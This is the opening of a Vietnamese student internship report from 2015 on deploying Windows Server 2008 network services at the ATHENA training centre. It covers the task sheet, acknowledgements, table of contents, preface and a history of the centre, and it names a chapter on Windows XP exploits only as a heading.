Báo Cáo Thực Tập Cuối Kỳ Athena - Nguyễn Minh ChươngBáo Cáo Thực Tập Cuối Kỳ Athena - Nguyễn Minh Chương
Báo Cáo Thực Tập Cuối Kỳ Athena - Nguyễn Minh Chương
 
nghiên cứu và triển khai các dịch vụ mạng windows server 2008
nghiên cứu và triển khai các dịch vụ mạng windows server 2008nghiên cứu và triển khai các dịch vụ mạng windows server 2008
nghiên cứu và triển khai các dịch vụ mạng windows server 2008
 
Bao cao gk
Bao cao gkBao cao gk
Bao cao gk
 
Bao cao giua ky
Bao cao giua kyBao cao giua ky
Bao cao giua ky
 
Bao cao gk
Bao cao gkBao cao gk
Bao cao gk
 
Nguyenthithuhien_baocaothuctap
Nguyenthithuhien_baocaothuctapNguyenthithuhien_baocaothuctap
Nguyenthithuhien_baocaothuctap
 
Bao cao thuc tap
Bao cao thuc tapBao cao thuc tap
Bao cao thuc tap
 
Bao cao Cuoi Ky File Word
Bao cao Cuoi Ky File WordBao cao Cuoi Ky File Word
Bao cao Cuoi Ky File Word
 
luan van thac si xay dung chuong trinh ho tro bao cao cong viec tren web
luan van thac si xay dung chuong trinh ho tro bao cao cong viec tren webluan van thac si xay dung chuong trinh ho tro bao cao cong viec tren web
luan van thac si xay dung chuong trinh ho tro bao cao cong viec tren web
 
Bao cao ck update lan 1
Bao cao ck update lan 1Bao cao ck update lan 1
Bao cao ck update lan 1
 
baocaonguyenduykhanh
baocaonguyenduykhanhbaocaonguyenduykhanh
baocaonguyenduykhanh
 
Phan cường
Phan cườngPhan cường
Phan cường
 
Phan cường
Phan cườngPhan cường
Phan cường
 
Đề tài: Chương trình thanh toán tiền cho hội đồng chấm tốt nghiệp
Đề tài: Chương trình thanh toán tiền cho hội đồng chấm tốt nghiệpĐề tài: Chương trình thanh toán tiền cho hội đồng chấm tốt nghiệp
Đề tài: Chương trình thanh toán tiền cho hội đồng chấm tốt nghiệp
 
Bao cao + bia
Bao cao + biaBao cao + bia
Bao cao + bia
 
Bao cao cuoi ky
Bao cao cuoi kyBao cao cuoi ky
Bao cao cuoi ky
 
Hoạt động của logistics của các doanh nghiệp logistics Việt Nam
Hoạt động của logistics của các doanh nghiệp logistics Việt NamHoạt động của logistics của các doanh nghiệp logistics Việt Nam
Hoạt động của logistics của các doanh nghiệp logistics Việt Nam
 
Đề tài: Hoạt động logistics 3PL của các doanh nghiệp, 9 ĐIỂM!
Đề tài: Hoạt động logistics 3PL của các doanh nghiệp, 9 ĐIỂM!Đề tài: Hoạt động logistics 3PL của các doanh nghiệp, 9 ĐIỂM!
Đề tài: Hoạt động logistics 3PL của các doanh nghiệp, 9 ĐIỂM!
 

Baocao pham nguyendanghoang

  • 1. ĐẠI HỌC NGUYỄN TẤT THÀNH KHOA CÔNG NGHỆ THÔNG TIN TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG & AN NINH MẠNG QUỐC TẾ ATHENA BÁO CÁO ĐỀ TÀI THỰC TẬP Nghiên cứu và phát triển các Dịch Vụ trên Windows Server 2008 Người Hướng Dẫn : Võ Đỗ Thắng Giáo viên hướng dẫn: Dương Minh Trung Sinh viên : Phạm Nguyễn Đăng Hoàng MSSV: 1211509975 TP. Hồ Chí Minh, Tháng 5 năm 2015
  • 2.
  • 3. TRUNGTÂM ĐÀO TẠO MẠNG VÀ AN NINH MẠNG QUỐC TẾ ATHENA CỘNG HÒA XÃ HỘI CHỦ NGHĨA VIỆT NAM Độc lâp – Tự do – Hạnh phúc NHIỆM VỤ THỰC HIỆN KHÓA LUẬN Họ tên SV : Phạm Nguyễn Đăng Hoàng MSSV: 1211509975 Chuyên ngành: Công Nghệ Thông Tin. Tên đề tài: Nghiên cứu triển khai các dịch vụ mạng trên Windows Server 2008. Nội dung thực hiện: Lý thuyết: Nắm vững các bước thực hiện quản trị Windows Server 2008. Có khả năng tự thiết lập một mạng máy tính, cấu hình mạng, điều chỉnh khả năng hoạt động mạng máy tính, vận hành hệ thống mạng, giải quyết sự cố, các phương pháp bảo vệ. Thực hành: Cài đặt Windows Server 2008. Nâng cấp Stand Alone thành Domain controller. Cài đặt Windows 7. Join Domain cho windows 7. Tạo user account trên AD, thiết lập policy cho phép User được quyền thay đổi ngày giờ hệ thống. Backup cho Domain Controller. Quản lý dịch vụ DNS, Mail, DHCP, Web, VPN trên môi trường Local và Internet. Thực hiện kết nối VPN, Mail Server, Web Server trên máy chủ ảo VPS. Bảo mật Windows với khai thác mã lỗi trên Windows Xp và trên VPS Thời gian thực hiện: 16/3/2015 đến 16/05/2015. Chữ ký của SV: TP.HCM, Ngày 16 tháng 5 năm 2015 GIÁM ĐỐC TRUNG TÂM GIẢNG VIÊN HƯỚNG DẪN (Ký và ghi rõ họ tên) (Ký và ghi rõ họ tên)
  • 4. LỜI CẢM ƠN Trên thực tế không có sự thành công nào mà không gắn liền với những sự hỗ trợ, giúp đỡ dù ít hay nhiều, dù trực tiếp hay gián tiếp của người khác. Trong suốt thời gian từ khi bắt đầu học tập ở giảng đường đến nay, em đã nhận được rất nhiều sự quan tâm, giúp đỡ của quý Thầy Cô, gia đình và bạn bè. Với lời biết ơn sâu sắc nhất, em xin gửi đến quý Thầy Cô ở Khoa Công Nghệ Thông Tin – Trường Đại Học Nguyễn Tất Thành đã cùng với tri thức và tâm huyết của mình để truyền đạt vốn kiến thức quý báu cho chúng em trong suốt thời gian học tập tại trường. Và đặc biệt, trong học kỳ này Khoa đã tổ chức cho chúng em thực tập và được tiếp cận với môn học mà theo em là rất hữu ích đối với sinh viên ngành Công Nghệ Thông Tin. Em xin chân thành cảm ơn Thầy Võ Đỗ Thắng đã tận tâm hướng dẫn chúng em qua từng buổi thực tập tại Trung Tâm ATHENA cũng như những buổi nói chuyện, thảo luận. Nếu không có những lời hướng dẫn, dạy bảo của thầy thầy thì em nghĩ bài báo cáo này của em rất khó có thể hoàn thiện được. Một lần nữa, em xin chân thành cảm ơn thầy. Bài báo cáo được thực hiện trong khoảng thời gian gần 2 tháng. Bước đầu đi vào thực tế, tìm hiểu, kiến thức của em còn hạn chế và còn nhiều bỡ ngỡ. Do vậy, không tránh khỏi những thiếu sót là điều chắc chắn, em rất mong nhận được những ý kiến đóng góp quý báu của quý Thầy Cô và các bạn học cùng lớp để kiến thức của em trong lĩnh vực này được hoàn thiện hơn. Sau cùng, em xin kính chúc quý Thầy Cô trong Khoa Công Nghệ Thông Tin và Thầy Võ Đỗ Thắng thật dồi dào sức khỏe, niềm tin để tiếp tục thực hiện sứ mệnh cao đẹp của mình là truyền đạt kiến thức cho thế hệ mai sau. Trân trọng. TP.HCM, Ngày 16/05/2015 Sinh viên thực hiện ……………………………
  • 5. NHẬN XÉT CỦA ĐƠN VỊ THỰC TẬP  Họ và tên người hướng dẫn: ........................................................................................... ..... Nhận xét báo cáo thực tập của học sinh/sinh viên: ...................................................... ..... Lớp: ..................................... Khóa:.................................................................................. ... Tên báo cáo(đề tài)/nội dung báo cáo:...................................................................... ......... Nội dung nhận xét: Điểm (số):.............................................................................................................................. TP.Hồ Chí Minh ngày…..tháng…..năm 2015 Cán bộ hướng dẫn
  • 6. NHẬN XÉT CỦA GIÁO VIÊN HƯƠNG DẪN  Họ và tên người hướng dẫn: .................................................................................. .. Nhận xét báo cáo thực tập của học sinh/sinh viên:............................................. .. Lớp:...................................... Khóa: ....................................................................... .. Tên báo cáo(đề tài)/nội dung báo cáo:................................................................. .. Nội dung nhận xét: ................................................................................................................................... .. ................................................................................................................................... .. ................................................................................................................................... .. ................................................................................................................................... .. ................................................................................................................................... .. ................................................................................................................................... .. ................................................................................................................................... .. ................................................................................................................................... .. ................................................................................................................................... .. Điểm (số):...... ............................................................................................................ TP.Hồ Chí Minh ngày…..tháng…..năm 2015 GIÁO VIÊN HƯỚNG DẪN
  • 7. MỤC LỤC CHƯƠNG 1: CÔNG VIỆC THỰC TẬP. 1 I.Giới thiệu doanh nghiệp thực tập – Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. .................................................................................1 1. Trụ sở và các chi nhánh: ................................................................................................2 1.1. Trụ sở chính:.................................................................................................................2 1.2.Cơ sở 2_Tại TP Hồ Chí Minh:....................................................................................2 2.Quá trình hình thành và phát triển của trung tâm: .......................................................2 3.Cơ cấu tổ chức:.................................................................................................................4 4.Các sản phẩm, giải pháp: ................................................................................................4 4.1Các khóa học dài hạn: ...................................................................................................4 4.2Các khóa học ngắn hạn: ................................................................................................4 4.3 Các sản phẩm khác .......................................................................................................5 4.4 Cơ sở hạ tầng.................................................................................................................5 4.5 Các dịch vụ hỗ trợ:........................................................................................................5 5.Khách hàng .......................................................................................................................6 6.Đối tác ...............................................................................................................................6 II.CÁC NHIỆM VỤ VÀ DỊCH VỤ CỦA BỘ PHẬN THỰC TẬP .............................6 III.CÔNG VIỆC VÀ NHIỆM VỤ ĐƯỢC PHÂN CÔNG.............................................6 IV.THỜI GIAN THỰC TẬP .............................................................................................6 CHƯƠNG 2: NÔI DUNG THỰC TẬP. 7 I.Nhiệm vụ được giao. ........................................................................................................7 II.Kiến thức tìm hiểu...........................................................................................................7 1.Giải pháp mạng doanh nghiệp........................................................................................7 1.1.Giới thiệu về mạng doanh nghiệp...............................................................................7 1.2.Các thành phần công nghệ trong mạng doanh nghiệp .............................................7 2.Windows Server 2008 .....................................................................................................8 Giới thiệu về mô hình Client-Server................................................................................8
  • 8. CHƯƠNG 3:TỔNG QUAN VỀ WINDOWS SERVER 2008 10 I. GIỚI THIỆU WINDOWS SERVER 2008.................................................................10 II. CÁC TÍNH NĂNG CỦA WINDOWS SERVER 2008.........................................10 1. Công cụ quản trị Server Manager ...............................................................................11 2. Windows Server Core...................................................................................................11 3. PowerShell .....................................................................................................................12 4. Windows Deloyment Services. ...................................................................................12 5. Terminal Services. ........................................................................................................12 6. Network Access Protection..........................................................................................13 7. Read-Only Domain Controllers ..................................................................................13 8. Công nghệ Failover Clustering. ..................................................................................13 9. Windows Firewall with Advance Security ................................................................14 III. MỘT SỐ TÍNH NĂNG MỚI CỦA WINDOWS SERVER 2008.......................14 1. Công nghệ ảo hóa Hyper-V.........................................................................................14 2. Processor Compatibility Mode....................................................................................14 3. File Classification Infrastructure.................................................................................15 4. Quản lý trong ỗ đĩa và file:..........................................................................................15 5. Cải tiến giao thức và mã hóa .......................................................................................15 6. Một số tính năng khác ..................................................................................................15 IV. CÁC LỢI ÍCH CỦA WINDOWS SERVER 2008................................................15 1. Web.................................................................................................................................16 2. Ảo hóa : ..........................................................................................................................16 3. Bảo mật: .........................................................................................................................16 3.1. Network Access Protection (NAP):.........................................................................16 3.2. Read-Only Domain Controller (RODC):................................................................17 3.3. BitLocker: ...................................................................................................................17 3.4. Windows Firewall: ....................................................................................................17 V. CÁC PHIÊN BẢN CỦA WINDOWS SERVER 2008..........................................17 1. Windows Server 2008: ứng dụng cho các trung tâm data lớn, ứng dụng nghiệp vụ riêng,... khả năng mở rộng cao cho tới 64 bộ xử lý...................................17 2. Windows Server 2008 Standard Edition....................................................................17 3. Windows Server 2008 Enterprise Edition..................................................................18 4. Windows Server 2008 Datacenter Edition.................................................................18
  • 9. CHƯƠNG 4: CÀI ĐẶT WINDOWS SERVER 2008 19 I. YÊU CẦU PHẦN CỨNG ............................................................................................19 II. CÁC CÁCH CÀI ĐẶT................................................................................................19 III. NÂNG CẤP LÊN WINDOWS SERVER 2008 .....................................................19 IV. CÀI ĐẶT WINDOWS SERVER 2008 ...................................................................20 CHƯƠNG 5: DỰNG DOMAIN CONTROLLER 24 CHƯƠNG 6: JOIN DOMAIN 32 CHƯƠNG 7 : TRIỄN KHAI CÁC DỊCH VỤ MẠNG 34 I. Dịch vụ DNS..........................................................................................................................................................34 1. Giới thiệu về DNS............................................................................................................................................34 2. Cài đặt DNS..........................................................................................................................................................34 3. Cấu hình DNS................................................................................................................35 II. DỊCH VỤ DHCP ..........................................................................................................42 1. Giới thiệu về DHCP........................................................................................................................................42 2. Cài đặt DHCP ......................................................................................................................................................42 3. Cấu hình DHCP.....................................................................................46 III. Tìm hiểu VNP ..................................................................................................................................................51 1. Khái niệm..............................................................................................................................................................51 2. Các loại VNP........................................................................................................................................................51 3. Bảo mật trong VPN........................................................................................................................................52 4. Sản phẩm công nghệ dành cho VPN ................................................................................................53 5. Bộ xử lý trung tâm VPN.............................................................................................................................54 6. Router dùng cho VPN..................................................................................................................................54 7. Tường lửa PIX của Cisco...........................................................................................................................54 IV. VPN Site to Site ..............................................................................................................................................54 1. Chuẩn bị.................................................................................................................................................................54 2. Đặt IP cho 4 máy .............................................................................................................................................54 3. Tiến hành cài đặt và cấu hình...............................................................................................................55 4. Kiểm tra .................................................................................................................................................................67 V. IIS 7.0............................................................................................................................68 1. Giới thiệu về IIS.............................................................................................................68
  • 10. 2. Những điểm mới của IIS 7.0 .......................................................................................69 3. Cài đặt IIS.......................................................................................................................69 4. Cấu hình IIS....................................................................................................................72 VI. FTP................................................................................................................................75 1.FTP là gì.........................................................................................................................75 2. Cài đặt FTP....................................................................................................................75 3. Cấu hình FTP ................................................................................................................78 CHƯƠNG 8: BACKUP & RESTORE 82 1. Cài đặt............................................................................................................................82 2. Backup............................................................................................................................83 3. Restore...........................................................................................................................88 CHƯƠNG 9: MAIL TRÊN VPS 91 I. Cấu hình và cài đặt Mdeamonv10 ......................................................................................................91 CHƯƠNG 10: BẢO MẬT WINDOWS 104 I.Khai thác lỗ hỏng trên Windows XP với mã lỗi MS08_067....................................104 II.Khai thác lỗ hỏng trên Windows XP với mã lỗi MS12_004 ..................................107 CHƯƠNG 11: KẾT LUẬN 114 I. Các kết quả đạt được....................................................................................................114 II. Kinh nghiệm thực tế....................................................................................................114 III. Hoàn thiện bản thân...................................................................................................114 IV. Các kiến thức được lĩnh hội.......................................................................................114 V. Kết luận...........................................................................................................................115
  • 11.
  • 12. LỜI MỞ ĐẦU Ngày nay với sự phát triển của khoa học kỹ thuật thì máy tính trở nên phổ biến với mọi người. Chúng mang lại cho con người khả năng to lớn và làm những công việc phi thường: tính toán nhanh và chính xác các bài toán phức tạp, điều khiển tự động, giải trí… Máy tính ra đời không chỉ hỗ trợ trong sản xuất mà còn trong việc học tập và làm góp phần giải phóng sức lao động. Máy tính điện tử là một phát minh, thành tựu to lớn cho sự phát triển của nhân loại góp phần thúc đẩy mạnh mẽ tiến bộ khoa học và kỹ thuật nói riêng cũng như nhân loại nói chung. Bên cạnh sự phát triển chóng mặt của máy tính trong thời buổi công nghệ thông tin thì các ứng dụng, dịch vụ mạng là nền tản không thể tách rời. Sức mạnh máy tính có thể nhân lên gấp nhiều lần khi được kết nối thành mạng máy tính. Là cơ sở hạ tần cho phép trao đổi thông tin, truyền tải dữ liệu từ xa nhằm rút ngắn khoảng cách. Với mạng máy tính toàn cầu chúng ta dễ dàng tiếp cận với sự phát triển của thế giới trong đó có sự phát triển gần nhất của Windows Server là Windows Server 2000 và Windows Server 2003 và tiếp đến là Windows Server 2008 hỗ trợ tốt các dịch vụ mạng cần thiết trên Server, việc cải tiến không ngừng giúp nâng cao tính ổn định và an toàn hơn cho Windows Server 2008 hoạt động một cách trơn tru. Hiện nay quá trình công nghiệp hóa hiện đại hóa đất nước là một chủ trương hàng đầu của nhà nước. Mạng máy tính trở thành mục tiêu nghiên cứu và phát triển. Cốt lõi là ngành công nghệ thông tin bao gồm nhiều lĩnh vực từ kiến trúc mạng đến nguyên lý thiết kế, cài đặt mô hình ứng dụng v.v… Mạng viễn thông nói chung và mạng máy tính trên nền tảng Windows Server 2008 nói riêng là công cụ hũu dụng không thể thiếu trong bộ máy nhà nước, trường học, doanh nghiệp… Nó đóng vai trò cầu nối trao đổi thông tin giữa các chính phủ, tổ chức xã hội và mọi người với nhau. Qua thời gian học tập và nghiên cứu trên ghế nhà trường cùng với sự hỗ trợ tận tình của Thầy cô, bạn bè và người thân đã giúp em thu thập được nhiều kiến thức quý báo. Đặc biệt là quá trình thực tập tại Trung tâm ATHENA giúp em có những trải nghiệm vô cùng thú vị và bổ ích. Với mong muốn tìm hiểu về mạng máy tính và góp phần xây dựng một mạng máy tính thân thiện, thông minh cho mọi người sử dụng. Tuy đã có nhiều cố gắng song không thể tránh những khuyết điểm, sai sót vì thế mong được sự thông cảm và những ý kiến đóng góp quý báo từ Quý Thầy Cô, bạn bè, bạn đọc, người thân để em có thể ngày một hoàn thiện bản thân mình hơn. Xin chân thành cảm ơn!
  • 13. 1 CHƯƠNG 1: CÔNG VIỆC THỰC TẬP. I.Giới thiệu doanh nghiệp thực tập – Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA_Tiền thân là Công ty TNHH Tư vấn và Đào tạo quản trị mạng Việt Năng, (tên thương hiệu viết tắt là TRUNG TÂM ĐÀO TẠO ATHENA), được chính thức thành lập theo giấy phép kinh doanh số 4104006757 của Sở Kế Hoạch Đầu Tư Tp Hồ Chí Minh cấp ngày 04 tháng 11 năm 2008. Tên công ty viết bằng tiếng nước ngoài: ATHENA ADVICE TRAINING NETWORK SECURITY COMPANY LIMITED. ATHENA là một tổ chức quy tụ nhiều trí thức trẻ Việt Nam đầy năng động, nhiệt huyết và kinh nghiệm trong lĩnh vực công nghệ thông tin. Với quyết tâm góp phần vào công cuộc thúc đẩy tiến trình tin học hóa của nước nhà. ATHENA đã và đang tập trung chủ yếu vào các họat động sau:  Đào tạo chuyên sâu quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế của các hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI , CEH,... Song song đó, trung tâm ATHENA còn có những chương trình đào tạo cao cấp dành riêng theo đơn đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An , ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính..Qua đó cung cấp nguồn nhân lực trong lĩnh vực công nghệ thông tin, đặc biệt là chuyên gia về mạng máy tính và bảo mật mạng đạt trình độ quốc tế cho các tổ chức, doanh nghiệp có nhu cầu.  Tư vấn và hổ trợ cho doanh nghiệp ứng dụng hiệu quả tin học vào hoạt động sản xuất kinh doanh.  Tiến hành các hoạt động nghiên cứu nâng cao kiến thức tin học và phát triển cơ sở dữ liệu thông tin về các ứng dụng và sự cố mạng.  Tiến hành các dịch vụ ứng cứu khẩn cấp cho doanh nghiệp trong trường hợp xảy ra sự cố máy tính. Sau gần 10 năm hoạt động,nhiều học viên tốt nghiệp trung tâm ATHENA đã là chuyên gia đảm nhận công tác quản lý hệ thống mạng, an ninh mạng cho nhiều bộ ngành như Cục Công Nghệ Thông Tin - Bộ Quốc Phòng , Bộ Công An, Sở Thông Tin Truyền Thông các tỉnh, bưu điện các tỉnh,…
  • 14. 2 Ngoài ra, Trung tâm ATHENA còn có nhiều chương trình hợp tác và trao đổi công nghệ với nhiều đại học lớn như đại học Bách Khoa Thành Phố Hồ Chí Minh, Học Viện An Ninh Nhân Dân( Thủ Đức), Học Viện Bưu Chính Viễn Thông, Hiệp hội an toàn thông tin (VNISA), Viện Kỹ Thuật Quân Sự... 1. Trụ sở và các chi nhánh: 1.1. Trụ sở chính: Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA. Số 2 Bis Đinh Tiên Hoàng, Phường Đa Kao, Tp Hồ Chí Minh, Việt Nam. Điện thoại: ( 84-8 ) 3824 4041 Hotline: 0943 23 00 99. 1.2.Cơ sở 2_Tại TP Hồ Chí Minh: Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA 92 Nguyễn Đình Chiểu ,Phường Đa Kao,Quận 1, Tp Hồ Chí Minh, Việt Nam. Website: www.athena.edu.vn Điện thoại: ( 84-8 ) 2210 3801 Hotline: 0943 20 00 88. 2.Quá trình hình thành và phát triển của trung tâm: Một nhóm các thành viên là những doanh nhân tài năng và thành công trong lĩnh vực công nghệ thông tin đã nhận ra tiềm năng phát triển của việc đào tạo nền công nghệ thông tin nước nhà. Họ là những cá nhân có trình độ chuyên môn cao và có đầu óc lãnh đạo cùng với tầm nhìn xa về tương lai của ngành công nghệ thông tin trong tương lai, họ đã quy tụ được một lực lượng lớn đội ngũ công nghệ thông tin trước hết là làm nhiệm vụ ứng cứu máy tính cho các doanh nghiệp, cá nhân có nhu cầu. Bước phát triển tiếp theo là vươn tầm đào đạo đội ngũ cán bộ công nghệ thông tin cho đất nước và xã hội. Các thành viên sáng lập trung tâm gồm:  Ông Nguyễn Thế Đông: Cựu giám đốc trung tâm ứng cứu máy tính Athena, hiện tại là giám đốc dự án của công ty Siemen Telecom.  Ông Hứa Văn Thế Phúc: Phó Giám đốc Phát triển Thương mại Công ty EIS, Phó Tổng công ty FPT.  Ông Nghiêm Sỹ Thắng: Phó Tổng giám đốc Ngân hàng Liên Việt, chịu trách nhiệm công nghệ thông tin của Ngân hàng.  Ông Võ Đỗ Thắng: Hiện đang là giám đốc Trung tâm đào tạo quản trị và an ninh mạng Athena.  Đến năm 2003, bốn thành viên sáng lập cùng với với đội ngũ ứng cứu máy tính gần 100 thành viên hoạt động như là một nhóm, một tổ chức ứng cứu máy tính miền Nam.
  • 15. 3  Từ năm 2004- 2006: Trung tâm có nhiều bước phát triển và chuyển mình. Trung tâm trở thành một trong những địa chỉ tin cậy của nhiều doanh nghiệp nhằm cài đặt hệ thống an ninh mạng và đào tạo cho đội ngũ nhân viên của các doanh nghiệp về các chương trình quản lý dự án MS Project 2003, kỹ năng thương mại điện tử, bảo mật web… và là địa chỉ tin cậy của nhiều học sinh_sinh viên đến đăng kí học. Đòi hỏi cấp thiết trong thời gian này của Trung tâm là nâng cao hơn nữa đội ngũ giảng viên cũng như cơ sở để đáp ứng nhu cầu ngày càng cao về công nghệ thông tin của đất nước nói chung, các doanh nghiệp, cá nhân nói riêng.Năm 2004, công ty mở rộng hoạt động cung cấp giải pháp, dịch vụ cho khu vực miền Trung thông qua việc thành lập văn phòng đại diện tại Đà Nẵng.  Đến năm 2006: Trung tâm đào tạo quản trị và an ninh mạng Athena mở ra thêm một chi nhánh tại Cư xá Nguyễn Văn Trỗi. Đồng thời tiếp tục tuyển dụng đội ngũ giảng viên là những chuyên gia an ninh mạng tốt nghiệp các trường đại học và học viện công nghệ thông tin uy tín trên toàn quốc, đồng thời trong thời gian này Athena có nhiều chính sách ưu đãi nhằm thu hút đội ngũ nhân lực công nghệ thông tin lành nghề từ các doanh nghiệp, tổ chức, làm giàu thêm đội ngũ giảng viên của trung tâm.  Đến năm 2008: Hàng loạt các trung tâm đào tạo quản trị và an ninh mạng mọc lên, cùng với khủng hoảng kinh tế tài chính toàn cầu đã làm cho Trung tâm rơi vào nhiều khó khăn. Ông Nguyễn Thế Đông cùng Ông Hứa Văn Thế Phúc rút vốn khỏi công ty gây nên sự hoang man cho toàn bộ hệ thống trung tâm. Cộng thêm chi nhánh tại Cư xã Nguyễn Văn Trỗi hoạt động không còn hiệu quả phải đóng cửa làm cho trung tâm rơi từ khó khăn này đến khó khăn khác. Lúc này, với quyết tâm khôi phục lại công ty cũng như tiếp tục sứ mạng góp phần vào tiến trình tin học hóa của đất nước. Ông Võ Đỗ Thắng mua lại cổ phần của hai nhà đầu tư lên làm giám đốc và xây dựng lại trung tâm. Đây là một bước chuyển mình có ý nghĩa chiến lược của trung tâm. Mở ra một làn gió mới và một giai đoạn mới, cùng với quyết tâm mạnh mẽ và một tinh thần thép đãgiúp ông Thắng vượt qua nhiều khó khăn ban đầu, giúp trung tâm đứng vững trong thời kì khủng hoảng.  Từ năm 2009 – nay: Cùng với sự lãnh đạo tài tình và đầu óc chiến lược. Trung tâm đào tạo quản trị và an ninh mạng dần được phục hồi và trở lại quỹ đạo hoạt động của mình. Đến nay, Trung tâm đã trở thành một trong những trung tâm đào tạo quản trị mạng hàng đầu Việt Nam.
  • 16. 4 Cùng với sự liên kết của rất nhiều công ty, tổ chức doanh nghiệp, trung tâm trở thành nơi đào tạo và cung cấp nguồn nhân lực công nghệ thông tin cho xã hội. Từng bước thực hiện mục tiêu góp phần vào tiến trình tin học hóa nước nhà. 3.Cơ cấu tổ chức: Hình 1. Sơ đồ tổ chức công ty. 4.Các sản phẩm, giải pháp: 4.1Các khóa học dài hạn: - Chương trình đào tạo chuyên gia an ninh mạng. ( AN2S) Athena network security specialist. - Chương trình Quản trị viên an ninh mạng (ANST) Athena netuwork security Technician. - Chuyên viên quản trị mạng nâng cao (ANMA) Athena network manager Administrator. 4.2Các khóa học ngắn hạn: Khóa Quản trị mạng : - Quản trị mạng Microsoft căn bản ACBN - Phần cứng máy tính, laptop, server - Quản trị hệ thống mạng Microsoft MCSA Security. - Quản trị mạng Microsoft nâng cao MCSE
  • 17. 5 - Quản trị window Vista - Quản trị hệ thống Window Server 2008, 2012 - Lớp Master Exchange Mail Server - Quản trị mạng quốc tế Cissco CCNA - Quản trị hệ thống mạng Linux 1 và Linux 2. Khóa thiết kế web và bảo mật mạng - Xây dựng, quản trị web thương mại điện tử với Joomla và VirtuMart - Lập trình web với Php và MySQL - Bảo mật mạng quốc tế ACNS - Hacker mũ trắng - Athena Mastering Firewall Security - Bảo mật website. 4.3 Các sản phẩm khác - Chuyên đề thực hành sao lưu và phục hồi dữ liệu - Chuyên đề thực hành bảo mật mạng Wi_Fi - Chuyên đề Ghost qua mạng - Chuyên đề xây dựng và quản trị diễn đàn - Chuyên đề bảo mật dữ liệu phòng chống nội gián - Chuyên đề quản lý tài sản công nghệ thông tin - Chuyên đề kỹ năng thương mại điện tử. 4.4 Cơ sở hạ tầng - Thiết bị đầy đủ và hiện đại. - Chương trình cập nhật liên tục, bảo đảm học viên luôn tiếp cận với những công nghệ mới nhất. - Phòng máy rộng rãi, thoáng mát. 4.5 Các dịch vụ hỗ trợ: - Đảm bảo việc làm cho học viên tốt nghiệp khoá dài hạn - Giới thiệu việc làm cho mọi học viên - Thực tập có lương cho học viên khá giỏi - Ngoài giờ học chính thức, học viên được thực hành thêm miễn phí, không giới hạn thời gian
  • 18. 6 - Hỗ trợ kỹ thuật không thời hạn trong tất cả các lĩnh vực liên quan đến máy tính, mạng máy tính, bảo mật mạng Hỗ trợ thi Chứng chỉ Quốc tế. 5.Khách hàng - Mọi đối tượng chuyên hoặc không chuyên về CNTT. - Khách hàng chủ yếu của ATHENAlà các bạn học sinh, sinh viên và các cán bộ công nhân viên chức yêu thích lĩnh vực công nghệ thông tin. 6.Đối tác Trung tâm đào tạo an ninh mạng ATHENA là đối tác đào tạo & cung cấp nhân sự CNTT, quản trị mạng , an ninh mạng chất lượng cao theo đơn đặt hàng cho các đơn vị như ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính... II.CÁC NHIỆM VỤ VÀ DỊCH VỤ CỦA BỘ PHẬN THỰC TẬP Bộ phận thực tập : Bộ phận triển khai kỹ thuật. Nhiệm vụ và dịch vụ:  Triển khai lắp đặt hệ thống mạng.  Bảo trì hệ thống mạng.  Tư vấn hỗ trợ quản trị hệ thống mạng. III.CÔNG VIỆC VÀ NHIỆM VỤ ĐƯỢC PHÂN CÔNG  Nghiên cứu các dịch vụ mạng trên Windows Server 2008.  Triển khai các dịch vụ mạng trên Windows Server 2008.  Yêu cầu nhiệm vụ: Có kiến thức tốt về Network, System, Security. IV.THỜI GIAN THỰC TẬP Từ ngày 16/03/2015 đến ngày 16/05/2015.
  • 19. 7 CHƯƠNG 2: NÔI DUNG THỰC TẬP. I.Nhiệm vụ được giao.  Nghiên cứu các dịch vụ mạng trên Windows Server 2008  Triển khai các dịch vụ mạng trên Windows Server 2008 II.Kiến thức tìm hiểu 1.Giải pháp mạng doanh nghiệp 1.1.Giới thiệu về mạng doanh nghiệp Hệ thống mạng của doanh nghiệp đơn giản hay phức tạp là tùy theo quy mô và loại hình của doanh nghiệp. Ngày nay, các nhà cung ứng đã đưa ra rất nhiều sự chọn lựa cho doanh nghiệp như cho phép doanh nghiệp tự trang bị, tự quản lý hoặc sử dụng dịch vụ. Những doanh nghiệp lớn với hàng ngàn máy tính cũng có những giải pháp quản lý đặc thù kết hợp cả phần cứng và phần mềm. Hầu hết các doanh nghiệp đều có nhu cầu sử dụng các ứng dụng công nghệ thông tin (CNTT) ở những mức độ khác nhau. Do vậy, họ sẽ có những nhu cầu khác nhau về quản trị hệ thống mạng (network) của doanh nghiệp. Một hệ thống được kiểm soát tốt sẽ làm giảm đáng kể chi phí hoạt động, nâng cao hiệu quả cũng như độ tin cậy của hệ thống. 1.2.Các thành phần công nghệ trong mạng doanh nghiệp Tùy vào qui mô lớn hay nhỏ của doanh nghiệp mà ta sẽ có những giải pháp công nghệ và thiết kế sao cho phù hợp nhất. Hiện nay, hầu hết các ứng dụng mới đều yêu cầu rất nhiều tài nguyên của hệ thống và băng thông mạng, cũng như các yêu cầu về điều khiển, giám sát mạng. Vậy làm thế nào để một doanh nghiệp vừa và nhỏ, với một số vốn đầu tư ban đầu hạn chế, có thể tiếp cận được với các công nghệ hiện đại, bắt kịp sự phát triển của thế giới.
